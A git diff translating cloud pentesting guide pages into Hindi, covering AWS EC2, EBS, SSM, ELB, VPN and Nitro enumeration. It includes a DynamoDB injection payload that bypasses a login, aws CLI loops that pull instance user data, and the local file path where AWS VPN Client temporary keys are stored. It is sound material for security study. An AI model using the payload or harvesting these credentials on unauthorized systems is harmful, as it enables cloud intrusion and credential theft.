एक्सप्रेशंस** में **वस्तुओं** को स्कैन करते समय एक विशेषता **मान** को **बदलने** के लिए, टोकन को **`:`** वर्ण से **शुरू** होना चाहिए। ऐसे टोकन को **रनटाइम** में वास्तविक **विशेषता मान** से **बदला** जाएगा। -You need to know that searching in DynamoDB for **substituting** an attribute **value** in **filter expressions** while scanning the items, the tokens should **begin** with the **`:`** character. Such tokens will be **replaced** with actual **attribute value at runtime**. - -Therefore, a login like the previous one can be bypassed with something like: - +इसलिए, पिछले की तरह एक लॉगिन को इस तरह से बायपास किया जा सकता है: ```bash :username = :username or :username # This will generate the query: # :username = :username or :username = :username and Password = :password # which is always true ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index f365bc7f5..7ef288501 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -4,7 +4,7 @@ ## VPC & Networking -Learn what a VPC is and about its components in: +जानें कि VPC क्या है और इसके घटकों के बारे में: {{#ref}} aws-vpc-and-networking-basic-information.md @@ -12,37 +12,36 @@ aws-vpc-and-networking-basic-information.md ## EC2 -Amazon EC2 is utilized for initiating **virtual servers**. It allows for the configuration of **security** and **networking** and the management of **storage**. The flexibility of Amazon EC2 is evident in its ability to scale resources both upwards and downwards, effectively adapting to varying requirement changes or surges in popularity. This feature diminishes the necessity for precise traffic predictions. +Amazon EC2 का उपयोग **वर्चुअल सर्वर** शुरू करने के लिए किया जाता है। यह **सुरक्षा** और **नेटवर्किंग** की कॉन्फ़िगरेशन और **स्टोरेज** के प्रबंधन की अनुमति देता है। Amazon EC2 की लचीलापन इसकी क्षमता में स्पष्ट है कि यह संसाधनों को ऊपर और नीचे दोनों की ओर स्केल कर सकता है, प्रभावी रूप से बदलती आवश्यकताओं या लोकप्रियता में वृद्धि के लिए अनुकूलित होता है। यह विशेषता सटीक ट्रैफ़िक भविष्यवाणियों की आवश्यकता को कम करती है। -Interesting things to enumerate in EC2: +EC2 में गिनने के लिए दिलचस्प चीजें: -- Virtual Machines - - SSH Keys - - User Data - - Existing EC2s/AMIs/Snapshots -- Networking - - Networks - - Subnetworks - - Public IPs - - Open ports -- Integrated connections with other networks outside AWS +- वर्चुअल मशीनें +- SSH कुंजी +- उपयोगकर्ता डेटा +- मौजूदा EC2s/AMIs/स्नैपशॉट्स +- नेटवर्किंग +- नेटवर्क +- उप-नेटवर्क +- सार्वजनिक IPs +- खुले पोर्ट +- AWS के बाहर अन्य नेटवर्क के साथ एकीकृत कनेक्शन ### Instance Profiles -Using **roles** to grant permissions to applications that run on **EC2 instances** requires a bit of extra configuration. An application running on an EC2 instance is abstracted from AWS by the virtualized operating system. Because of this extra separation, you need an additional step to assign an AWS role and its associated permissions to an EC2 instance and make them available to its applications. +**EC2 इंस्टेंस** पर चलने वाले अनुप्रयोगों को अनुमतियाँ देने के लिए **भूमिकाओं** का उपयोग करने के लिए थोड़ी अतिरिक्त कॉन्फ़िगरेशन की आवश्यकता होती है। EC2 इंस्टेंस पर चलने वाला एक अनुप्रयोग AWS से वर्चुअलाइज्ड ऑपरेटिंग सिस्टम द्वारा अलग किया गया है। इस अतिरिक्त पृथक्करण के कारण, आपको एक अतिरिक्त कदम की आवश्यकता होती है ताकि एक AWS भूमिका और इसके संबंधित अनुमतियों को एक EC2 इंस्टेंस को सौंपा जा सके और उन्हें इसके अनुप्रयोगों के लिए उपलब्ध कराया जा सके। -This extra step is the **creation of an** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) attached to the instance. The **instance profile contains the role and** can provide the role's temporary credentials to an application that runs on the instance. Those temporary credentials can then be used in the application's API calls to access resources and to limit access to only those resources that the role specifies. Note that **only one role can be assigned to an EC2 instance** at a time, and all applications on the instance share the same role and permissions. +यह अतिरिक्त कदम एक [_**इंस्टेंस प्रोफ़ाइल**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) का **निर्माण** है जो इंस्टेंस से जुड़ी होती है। **इंस्टेंस प्रोफ़ाइल भूमिका को शामिल करती है और** इंस्टेंस पर चलने वाले अनुप्रयोग को भूमिका के अस्थायी क्रेडेंशियल प्रदान कर सकती है। उन अस्थायी क्रेडेंशियल का उपयोग फिर अनुप्रयोग के API कॉल में संसाधनों तक पहुँचने और केवल उन संसाधनों तक पहुँच को सीमित करने के लिए किया जा सकता है जो भूमिका निर्दिष्ट करती है। ध्यान दें कि **एक समय में केवल एक भूमिका को एक EC2 इंस्टेंस को सौंपा जा सकता है**, और इंस्टेंस पर सभी अनुप्रयोग एक ही भूमिका और अनुमतियों को साझा करते हैं। ### Metadata Endpoint -AWS EC2 metadata is information about an Amazon Elastic Compute Cloud (EC2) instance that is available to the instance at runtime. This metadata is used to provide information about the instance, such as its instance ID, the availability zone it is running in, the IAM role associated with the instance, and the instance's hostname. +AWS EC2 मेटाडेटा एक Amazon Elastic Compute Cloud (EC2) इंस्टेंस के बारे में जानकारी है जो रनटाइम पर इंस्टेंस के लिए उपलब्ध है। यह मेटाडेटा इंस्टेंस के बारे में जानकारी प्रदान करने के लिए उपयोग किया जाता है, जैसे कि इसका इंस्टेंस ID, जिस उपलब्धता क्षेत्र में यह चल रहा है, इंस्टेंस से संबंधित IAM भूमिका, और इंस्टेंस का होस्टनेम। {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} ### Enumeration - ```bash # Get EC2 instances aws ec2 describe-instances @@ -50,10 +49,10 @@ aws ec2 describe-instance-status #Get status from running instances # Get user data from each ec2 instance for instanceid in $(aws ec2 describe-instances --profile --region us-west-2 | grep -Eo '"i-[a-zA-Z0-9]+' | tr -d '"'); do - echo "Instance ID: $instanceid" - aws ec2 describe-instance-attribute --profile --region us-west-2 --instance-id "$instanceid" --attribute userData | jq ".UserData.Value" | tr -d '"' | base64 -d - echo "" - echo "-------------------" +echo "Instance ID: $instanceid" +aws ec2 describe-instance-attribute --profile --region us-west-2 --instance-id "$instanceid" --attribute userData | jq ".UserData.Value" | tr -d '"' | base64 -d +echo "" +echo "-------------------" done # Instance profiles @@ -128,22 +127,21 @@ aws ec2 describe-route-tables aws ec2 describe-vpcs aws ec2 describe-vpc-peering-connections ``` - -### Unauthenticated Access +### अनधिकृत पहुँच {{#ref}} ../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md {{#endref}} -### Privesc +### प्रिवेस्क -In the following page you can check how to **abuse EC2 permissions to escalate privileges**: +अगली पृष्ठ पर आप देख सकते हैं कि **EC2 अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**: {{#ref}} ../../aws-privilege-escalation/aws-ec2-privesc.md {{#endref}} -### Post-Exploitation +### पोस्ट-एक्सप्लोइटेशन {{#ref}} ../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/ @@ -151,17 +149,17 @@ In the following page you can check how to **abuse EC2 permissions to escalate p ## EBS -Amazon **EBS** (Elastic Block Store) **snapshots** are basically static **backups** of AWS EBS volumes. In other words, they are **copies** of the **disks** attached to an **EC2** Instance at a specific point in time. EBS snapshots can be copied across regions and accounts, or even downloaded and run locally. +Amazon **EBS** (Elastic Block Store) **स्नैपशॉट** मूल रूप से AWS EBS वॉल्यूम का स्थिर **बैकअप** हैं। दूसरे शब्दों में, ये एक विशिष्ट समय पर एक **EC2** इंस्टेंस से जुड़े **डिस्क** की **कॉपी** हैं। EBS स्नैपशॉट को क्षेत्रों और खातों के बीच कॉपी किया जा सकता है, या यहां तक कि डाउनलोड किया जा सकता है और स्थानीय रूप से चलाया जा सकता है। -Snapshots can contain **sensitive information** such as **source code or APi keys**, therefore, if you have the chance, it's recommended to check it. +स्नैपशॉट में **संवेदनशील जानकारी** जैसे **स्रोत कोड या एपीआई कुंजी** हो सकती हैं, इसलिए, यदि आपके पास मौका है, तो इसकी जांच करना अनुशंसित है। -### Difference AMI & EBS +### AMI और EBS में अंतर -An **AMI** is used to **launch an EC2 instance**, while an EC2 **Snapshot** is used to **backup and recover data stored on an EBS volume**. While an EC2 Snapshot can be used to create a new AMI, it is not the same thing as an AMI, and it does not include information about the operating system, application server, or other software required to run an application. +एक **AMI** का उपयोग **EC2 इंस्टेंस लॉन्च करने** के लिए किया जाता है, जबकि एक EC2 **स्नैपशॉट** का उपयोग **EBS वॉल्यूम पर संग्रहीत डेटा का बैकअप और पुनर्प्राप्त करने** के लिए किया जाता है। जबकि एक EC2 स्नैपशॉट का उपयोग एक नया AMI बनाने के लिए किया जा सकता है, यह AMI के समान नहीं है, और इसमें ऑपरेटिंग सिस्टम, एप्लिकेशन सर्वर, या किसी अन्य सॉफ़्टवेयर के बारे में जानकारी शामिल नहीं है जो एक एप्लिकेशन चलाने के लिए आवश्यक है। -### Privesc +### प्रिवेस्क -In the following page you can check how to **abuse EBS permissions to escalate privileges**: +अगली पृष्ठ पर आप देख सकते हैं कि **EBS अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**: {{#ref}} ../../aws-privilege-escalation/aws-ebs-privesc.md @@ -169,14 +167,13 @@ In the following page you can check how to **abuse EBS permissions to escalate p ## SSM -**Amazon Simple Systems Manager (SSM)** allows to remotely manage floats of EC2 instances to make their administrations much more easy. Each of these instances need to be running the **SSM Agent service as the service will be the one getting the actions and performing them** from the AWS API. +**Amazon Simple Systems Manager (SSM)** EC2 इंस्टेंस के समूहों को दूरस्थ रूप से प्रबंधित करने की अनुमति देता है ताकि उनकी प्रशासनिक प्रक्रियाएँ बहुत आसान हो सकें। इनमें से प्रत्येक इंस्टेंस को **SSM एजेंट सेवा चलानी होगी क्योंकि यह AWS API से क्रियाएँ प्राप्त और निष्पादित करेगा**। -**SSM Agent** makes it possible for Systems Manager to update, manage, and configure these resources. The agent **processes requests from the Systems Manager service in the AWS Cloud**, and then runs them as specified in the request. +**SSM एजेंट** सिस्टम प्रबंधक को इन संसाधनों को अपडेट, प्रबंधित और कॉन्फ़िगर करने की अनुमति देता है। एजेंट **AWS क्लाउड में सिस्टम प्रबंधक सेवा से अनुरोधों को संसाधित करता है**, और फिर उन्हें अनुरोध में निर्दिष्ट के अनुसार चलाता है। -The **SSM Agent comes**[ **preinstalled in some AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) or you need to [**manually install them**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) on the instances. Also, the IAM Role used inside the instance needs to have the policy **AmazonEC2RoleforSSM** attached to be able to communicate. - -### Enumeration +**SSM एजेंट**[ **कुछ AMIs में पूर्व-स्थापित आता है**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) या आपको [**इन्हें मैन्युअल रूप से स्थापित करना होगा**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) इंस्टेंस पर। इसके अलावा, इंस्टेंस के अंदर उपयोग की जाने वाली IAM भूमिका को संवाद करने के लिए नीति **AmazonEC2RoleforSSM** संलग्न करनी होगी। +### एनुमरेशन ```bash aws ssm describe-instance-information aws ssm describe-parameters @@ -185,16 +182,13 @@ aws ssm describe-instance-patches --instance-id aws ssm describe-instance-patch-states --instance-ids aws ssm describe-instance-associations-status --instance-id ``` - -You can check in an EC2 instance if Systems Manager is runnign just by executing: - +आप एक EC2 इंस्टेंस में यह जांच सकते हैं कि सिस्टम मैनेजर चल रहा है या नहीं, बस इसे निष्पादित करके: ```bash ps aux | grep amazon-ssm ``` - ### Privesc -In the following page you can check how to **abuse SSM permissions to escalate privileges**: +In the following page you can check how to **SSM अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाना**: {{#ref}} ../../aws-privilege-escalation/aws-ssm-privesc.md @@ -202,10 +196,9 @@ In the following page you can check how to **abuse SSM permissions to escalate p ## ELB -**Elastic Load Balancing** (ELB) is a **load-balancing service for Amazon Web Services** (AWS) deployments. ELB automatically **distributes incoming application traffic** and scales resources to meet traffic demands. +**इलेक्ट्रॉनिक लोड बैलेंसिंग** (ELB) **अमेज़न वेब सर्विसेज** (AWS) तैनाती के लिए एक **लोड-बैलेंसिंग सेवा** है। ELB स्वचालित रूप से **आने वाले एप्लिकेशन ट्रैफ़िक का वितरण करता है** और ट्रैफ़िक की मांगों को पूरा करने के लिए संसाधनों को स्केल करता है। ### Enumeration - ```bash # List internet-facing ELBs aws elb describe-load-balancers @@ -216,11 +209,9 @@ aws elbv2 describe-load-balancers aws elbv2 describe-load-balancers | jq '.LoadBalancers[].DNSName' aws elbv2 describe-listeners --load-balancer-arn ``` +## लॉन्च टेम्पलेट्स और ऑटोस्केलिंग समूह -## Launch Templates & Autoscaling Groups - -### Enumeration - +### एन्यूमरेशन ```bash # Launch templates aws ec2 describe-launch-templates @@ -235,10 +226,9 @@ aws autoscaling describe-launch-configurations aws autoscaling describe-load-balancer-target-groups aws autoscaling describe-load-balancers ``` - ## Nitro -AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture. +AWS Nitro एक **नवोन्मेषी प्रौद्योगिकियों** का समूह है जो AWS EC2 इंस्टेंस के लिए आधारभूत प्लेटफ़ॉर्म बनाता है। इसे Amazon द्वारा **सुरक्षा, प्रदर्शन, और विश्वसनीयता** को **बढ़ाने** के लिए पेश किया गया था, Nitro कस्टम **हार्डवेयर घटकों और एक हल्के हाइपरवाइज़र** का उपयोग करता है। यह पारंपरिक वर्चुअलाइजेशन कार्यक्षमता के अधिकांश हिस्से को समर्पित हार्डवेयर और सॉफ़्टवेयर में एब्स्ट्रैक्ट करता है, **हमले की सतह को कम करते हुए** और संसाधन दक्षता में सुधार करता है। वर्चुअलाइजेशन कार्यों को ऑफलोड करके, Nitro EC2 इंस्टेंस को **नजदीकी बARE-मेटल प्रदर्शन** प्रदान करने की अनुमति देता है, जिससे यह संसाधन-गहन अनुप्रयोगों के लिए विशेष रूप से लाभकारी बनता है। इसके अतिरिक्त, Nitro सुरक्षा चिप विशेष रूप से **हार्डवेयर और फर्मवेयर की सुरक्षा** सुनिश्चित करती है, जिससे इसकी मजबूत आर्किटेक्चर को और मजबूत किया जाता है। Get more information and how to enumerate it from: @@ -248,35 +238,34 @@ aws-nitro-enum.md ## VPN -A VPN allows to connect your **on-premise network (site-to-site VPN)** or the **workers laptops (Client VPN)** with a **AWS VPC** so services can accessed without needing to expose them to the internet. +एक VPN आपके **ऑन-प्रिमाइस नेटवर्क (साइट-से-साइट VPN)** या **कर्मचारियों के लैपटॉप (क्लाइंट VPN)** को **AWS VPC** से जोड़ने की अनुमति देता है ताकि सेवाओं को इंटरनेट पर उजागर किए बिना एक्सेस किया जा सके। #### Basic AWS VPN Components 1. **Customer Gateway**: - - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. - - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. - - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. - - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. +- एक Customer Gateway एक संसाधन है जिसे आप AWS में VPN कनेक्शन के अपने पक्ष का प्रतिनिधित्व करने के लिए बनाते हैं। +- यह मूल रूप से आपके साइट-से-साइट VPN कनेक्शन के आपके पक्ष पर एक भौतिक उपकरण या सॉफ़्टवेयर एप्लिकेशन है। +- आप AWS को Customer Gateway बनाने के लिए अपने नेटवर्क उपकरण (जैसे राउटर या फ़ायरवॉल) का रूटिंग जानकारी और सार्वजनिक IP पता प्रदान करते हैं। +- यह VPN कनेक्शन सेट करने के लिए एक संदर्भ बिंदु के रूप में कार्य करता है और अतिरिक्त शुल्क नहीं लेता है। 2. **Virtual Private Gateway**: - - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. - - It is attached to your VPC and serves as the target for your VPN connection. - - VPG is the AWS side endpoint for the VPN connection. - - It handles the secure communication between your VPC and your on-premises network. +- एक Virtual Private Gateway (VPG) साइट-से-साइट VPN कनेक्शन के Amazon पक्ष पर VPN कंसंट्रेटर है। +- यह आपके VPC से जुड़ा होता है और आपके VPN कनेक्शन के लिए लक्ष्य के रूप में कार्य करता है। +- VPG VPN कनेक्शन के लिए AWS पक्ष का एंडपॉइंट है। +- यह आपके VPC और आपके ऑन-प्रिमाइस नेटवर्क के बीच सुरक्षित संचार को संभालता है। 3. **Site-to-Site VPN Connection**: - - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. - - This type of connection requires a Customer Gateway and a Virtual Private Gateway. - - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. - - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. +- एक साइट-से-साइट VPN कनेक्शन आपके ऑन-प्रिमाइस नेटवर्क को एक सुरक्षित, IPsec VPN टनल के माध्यम से VPC से जोड़ता है। +- इस प्रकार के कनेक्शन के लिए एक Customer Gateway और एक Virtual Private Gateway की आवश्यकता होती है। +- इसका उपयोग आपके डेटा केंद्र या नेटवर्क और आपके AWS वातावरण के बीच सुरक्षित, स्थिर, और लगातार संचार के लिए किया जाता है। +- आमतौर पर नियमित, दीर्घकालिक कनेक्शनों के लिए उपयोग किया जाता है और कनेक्शन के माध्यम से स्थानांतरित डेटा की मात्रा के आधार पर बिल किया जाता है। 4. **Client VPN Endpoint**: - - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. - - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. - - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. - - With Client VPN, each client device uses a VPN client software to establish a secure connection. +- एक Client VPN एंडपॉइंट एक संसाधन है जिसे आप AWS में क्लाइंट VPN सत्रों को सक्षम और प्रबंधित करने के लिए बनाते हैं। +- इसका उपयोग व्यक्तिगत उपकरणों (जैसे लैपटॉप, स्मार्टफ़ोन, आदि) को AWS संसाधनों या आपके ऑन-प्रिमाइस नेटवर्क से सुरक्षित रूप से कनेक्ट करने की अनुमति देने के लिए किया जाता है। +- यह साइट-से-साइट VPN से भिन्न है क्योंकि यह पूरे नेटवर्क को जोड़ने के बजाय व्यक्तिगत क्लाइंट के लिए डिज़ाइन किया गया है। +- Client VPN के साथ, प्रत्येक क्लाइंट डिवाइस एक VPN क्लाइंट सॉफ़्टवेयर का उपयोग करके एक सुरक्षित कनेक्शन स्थापित करता है। You can [**find more information about the benefits and components of AWS VPNs here**](aws-vpc-and-networking-basic-information.md#vpn). ### Enumeration - ```bash # VPN endpoints ## Check used subnetwork, authentication, SGs, connected... @@ -300,20 +289,19 @@ aws ec2 describe-vpn-gateways # Get VPN site-to-site connections aws ec2 describe-vpn-connections ``` - ### Local Enumeration -**Local Temporary Credentials** +**स्थानीय अस्थायी क्रेडेंशियल्स** -When AWS VPN Client is used to connect to a VPN, the user will usually **login in AWS** to get access to the VPN. Then, some **AWS credentials are created and stored** locally to establish the VPN connection. These credentials are **stored in** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` and contains an **AccessKey**, a **SecretKey** and a **Token**. +जब AWS VPN क्लाइंट का उपयोग VPN से कनेक्ट करने के लिए किया जाता है, तो उपयोगकर्ता आमतौर पर **AWS में लॉगिन करता है** ताकि VPN तक पहुंच प्राप्त कर सके। फिर, कुछ **AWS क्रेडेंशियल्स बनाए जाते हैं और स्थानीय रूप से संग्रहीत किए जाते हैं** ताकि VPN कनेक्शन स्थापित किया जा सके। ये क्रेडेंशियल्स **इसमें संग्रहीत होते हैं** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` और इसमें एक **AccessKey**, एक **SecretKey** और एक **Token** होता है। -The credentials belong to the user `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: research more about the permissions of this credentials). +ये क्रेडेंशियल्स उपयोगकर्ता `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` के हैं (TODO: इस क्रेडेंशियल्स की अनुमतियों के बारे में और शोध करें)। -**opvn config files** +**opvn कॉन्फ़िग फ़ाइलें** -If a **VPN connection was stablished** you should search for **`.opvn`** config files in the system. Moreover, one place where you could find the **configurations** is in **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** +यदि **VPN कनेक्शन स्थापित किया गया था** तो आपको सिस्टम में **`.opvn`** कॉन्फ़िग फ़ाइलों के लिए खोज करनी चाहिए। इसके अलावा, एक स्थान जहाँ आप **कॉन्फ़िगरेशन** पा सकते हैं वह है **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** -#### **Post Exploitaiton** +#### **पोस्ट एक्सप्लॉइटेशन** {{#ref}} ../../aws-post-exploitation/aws-vpn-post-exploitation.md @@ -324,7 +312,3 @@ If a **VPN connection was stablished** you should search for **`.opvn`** config - [https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html](https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index 0575a17d8..0973f607a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -4,19 +4,18 @@ ## Basic Information -AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture. +AWS Nitro एक **नवोन्मेषी प्रौद्योगिकियों** का एक सेट है जो AWS EC2 इंस्टेंस के लिए आधारभूत प्लेटफॉर्म बनाता है। इसे Amazon द्वारा **सुरक्षा, प्रदर्शन, और विश्वसनीयता** को **बढ़ाने** के लिए पेश किया गया था, Nitro कस्टम **हार्डवेयर घटकों और एक हल्के हाइपरवाइज़र** का उपयोग करता है। यह पारंपरिक वर्चुअलाइजेशन कार्यक्षमता के अधिकांश हिस्से को समर्पित हार्डवेयर और सॉफ़्टवेयर में एब्सट्रैक्ट करता है, **हमले की सतह को कम करते हुए** और संसाधन दक्षता में सुधार करता है। वर्चुअलाइजेशन कार्यों को ऑफलोड करके, Nitro EC2 इंस्टेंस को **नजदीकी बARE-मेटल प्रदर्शन** प्रदान करने की अनुमति देता है, जो संसाधन-गहन अनुप्रयोगों के लिए विशेष रूप से फायदेमंद है। इसके अतिरिक्त, Nitro सुरक्षा चिप विशेष रूप से **हार्डवेयर और फर्मवेयर की सुरक्षा** सुनिश्चित करती है, जिससे इसकी मजबूत आर्किटेक्चर को और मजबूत किया जाता है। ### Nitro Enclaves -**AWS Nitro Enclaves** provides a secure, **isolated compute environment within Amazon EC2 instances**, specifically designed for processing highly sensitive data. Leveraging the AWS Nitro System, these enclaves ensure robust **isolation and security**, ideal for **handling confidential information** such as PII or financial records. They feature a minimalist environment, significantly reducing the risk of data exposure. Additionally, Nitro Enclaves support cryptographic attestation, allowing users to verify that only authorized code is running, crucial for maintaining strict compliance and data protection standards. +**AWS Nitro Enclaves** एक सुरक्षित, **अलग कंप्यूट वातावरण प्रदान करता है जो Amazon EC2 इंस्टेंस के भीतर** है, जिसे अत्यधिक संवेदनशील डेटा को संसाधित करने के लिए विशेष रूप से डिज़ाइन किया गया है। AWS Nitro सिस्टम का लाभ उठाते हुए, ये एनक्लेव मजबूत **अलगाव और सुरक्षा** सुनिश्चित करते हैं, जो **गोपनीय जानकारी** जैसे PII या वित्तीय रिकॉर्ड को **संभालने** के लिए आदर्श हैं। इनमें एक न्यूनतम वातावरण होता है, जो डेटा के उजागर होने के जोखिम को काफी कम करता है। इसके अतिरिक्त, Nitro Enclaves क्रिप्टोग्राफिक अटेस्टेशन का समर्थन करते हैं, जिससे उपयोगकर्ता यह सत्यापित कर सकते हैं कि केवल अधिकृत कोड चल रहा है, जो सख्त अनुपालन और डेटा सुरक्षा मानकों को बनाए रखने के लिए महत्वपूर्ण है। > [!CAUTION] -> Nitro Enclave images are **run from inside EC2 instances** and you cannot see from the AWS web console if an EC2 instances is running images in Nitro Enclave or not. +> Nitro Enclave छवियाँ **EC2 इंस्टेंस के अंदर से चलती हैं** और आप AWS वेब कंसोल से नहीं देख सकते कि क्या कोई EC2 इंस्टेंस Nitro Enclave में छवियाँ चला रहा है या नहीं। ## Nitro Enclave CLI installation -Follow the all instructions [**from the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). However, these are the most important ones: - +सभी निर्देशों का पालन करें [**दस्तावेज़ से**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave)। हालाँकि, ये सबसे महत्वपूर्ण हैं: ```bash # Install tools sudo amazon-linux-extras install aws-nitro-enclaves-cli -y @@ -32,47 +31,39 @@ nitro-cli --version # Start and enable the Nitro Enclaves allocator service. sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service ``` - ## Nitro Enclave Images -The images that you can run in Nitro Enclave are based on docker images, so you can create your Nitro Enclave images from docker images like: - +जो इमेजेज़ आप Nitro Enclave में चला सकते हैं, वे डॉकर इमेजेज़ पर आधारित हैं, इसलिए आप अपने Nitro Enclave इमेजेज़ को डॉकर इमेजेज़ से बना सकते हैं जैसे: ```bash # You need to have the docker image accesible in your running local registry # Or indicate the full docker image URL to access the image nitro-cli build-enclave --docker-uri : --output-file nitro-img.eif ``` +जैसा कि आप देख सकते हैं, Nitro Enclave छवियाँ **`eif`** (Enclave Image File) एक्सटेंशन का उपयोग करती हैं। -As you can see the Nitro Enclave images use the extension **`eif`** (Enclave Image File). - -The output will look similar to: - +आउटपुट इस तरह दिखेगा: ``` Using the locally available Docker image... Enclave Image successfully created. { - "Measurements": { - "HashAlgorithm": "Sha384 { ... }", - "PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284", - "PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f", - "PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3" - } +"Measurements": { +"HashAlgorithm": "Sha384 { ... }", +"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284", +"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f", +"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3" +} } ``` - ### Run an Image -As per [**the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), in order to run an enclave image you need to assign it memory of **at least 4 times the size of the `eif` file**. It's possible to configure the default resources to give to it in the file - +जैसा कि [**दस्तावेज़**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave) में बताया गया है, एक एन्क्लेव इमेज चलाने के लिए आपको इसे **`eif` फ़ाइल के आकार का कम से कम 4 गुना मेमोरी** आवंटित करनी होगी। इसे फ़ाइल में डिफ़ॉल्ट संसाधनों को कॉन्फ़िगर करना संभव है। ```shell /etc/nitro_enclaves/allocator.yaml ``` - > [!CAUTION] -> Always remember that you need to **reserve some resources for the parent EC2** instance also! - -After knowing the resources to give to an image and even having modified the configuration file it's possible to run an enclave image with: +> हमेशा याद रखें कि आपको **माता EC2** इंस्टेंस के लिए भी कुछ संसाधनों को **आरक्षित** करना होगा! +छवि को देने के लिए संसाधनों को जानने के बाद और यहां तक कि कॉन्फ़िगरेशन फ़ाइल को संशोधित करने के बाद, एक एन्क्लेव छवि को चलाना संभव है: ```shell # Restart the service so the new default values apply sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service @@ -80,80 +71,72 